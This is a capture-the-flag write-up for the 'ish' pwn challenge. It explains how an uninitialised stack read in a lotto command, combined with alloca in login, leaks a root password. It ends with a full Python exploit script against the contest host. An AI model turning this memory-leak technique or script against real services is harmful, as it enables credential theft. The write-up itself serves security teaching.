Skip to content Skip to navigation

ish (pwn 300)

Category: 

 In this task we have x86 ELF binary ish, which has been run at 54.208.86.14 9988.

This binary is one more Unix shell, but with few commands avaliable:

There is only two intresting commands: lotto and login.

lotto

This command offer you to play in usual guess the number game but with only one attempt. Firstly you choose the number from 1 to 4. Lets name it as N.Then program generates N random numbers and asks you to enter right N numbers. If you entered the same numbers as were generated, you will get message 'You win!', but if you failed:

So, it always prints 4 numbers, but only N of them were set at this function. Because RandomGeneratedNumberArray initialized on stack, this fact means that we can read stack. Futhermore we can enter N equals zero and read 16 bytes from stack. It's definetly vulnerability, but there seems nothing intersting at that location on the stack.. may be it will be usefull later.

login

This command allows you to enter freely as any user except root. If you will try to login as root, program asks you to enter password (valid password takes from file "key").

The first intresting thing in this function is:

This means that program has stack buffer variable of fixed size, receive user name to this buffer and then uses stack allocation to get new buffer (allocated buffer then uses to store user name). This approach isn't vulnerability, but it's very very strange:

  • if user name length restricted to some small border (256 bytes is a really small size), why don't you use stack buffer of fixed size? It will work faster!
  • if you care about stack size, why don't you use heap? (because stack allocation is faster? ok...)
  • if you want to use stack in more effective manner, why don't you round user name length up to 4 bytes (normal stack alignment for x86 systems), but up to 16?
  • and so on

The right answer is "Without this stack allocation, vulnerability in lotto function allows you to read only 16 bytes only from fixed place. Using this stack allocation you can read stack of any function from list of commands."

Now we just have to find command with something intresting on stack.. and it's login function again!

As you can see from decompiled code above, when you try to login as root, program reads file 'key' with root's password to the static stack buffer. And everything is ok, but root's password erased from this buffer only if you will enter data of length from 1 to 61.

So to retrive root's password we should:

  1. login as anyone except root
  2. login with short user name
  3. login as root
  4. enter password of size 62
  5. exit from user with short user name
  6. login with long enough user name
  7. play lotto
  8. enter 0 (to set N=0)
  9. get 16 bytes of root's password
  10. exit
  11. if no all root's password has been read, go to 2.
  12. exit

Now everything you need is to find proper difference between long and short user names, which allows you to read root's password (root's password was the flag for this challenge).

Our full exploit:

#!/usr/bin/python
from socket import create_connection
from time import sleep
from struct import pack

FLAG = ''

def getPart(n):
	s = create_connection(('54.208.86.14', 9988))

	sleep(0.3)
	print s.recv(1024)
	p = 'aaa\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'login\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'oooo\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'login\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'root\x00\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'exit\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'login\n'
	print p
	s.send(p)

	sleep(0.3)
	print s.recv(1024)
	p = 'A' * (69 - (0x10 * n)) + '\n'
	print p
	s.send(p)

	sleep(0.5)
	print s.recv(1024)
	p = 'lotto\n'
	print p
	s.send(p)

	for i in xrange(0, 5, 1):
		sleep(0.3)
		print s.recv(1024)
		p = '\n'
		print p
		s.send(p)

	sleep(1)
	numbers = s.recv(1024)
	print numbers
	numbers = numbers.split('\n')
	numbers = numbers[2]

	numbers = numbers.replace(' ', '')
	print numbers
	numbers = numbers.split(',')
	print numbers
	flag = ''
	for i in numbers: flag += pack('<I', int(i))

	print flag

	s.close()

	return flag


for i in xrange(0, 4, 1):
	FLAG += getPart(i)

print 'FLAG:'
print FLAG

The flag is: flag{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMOOOOXX}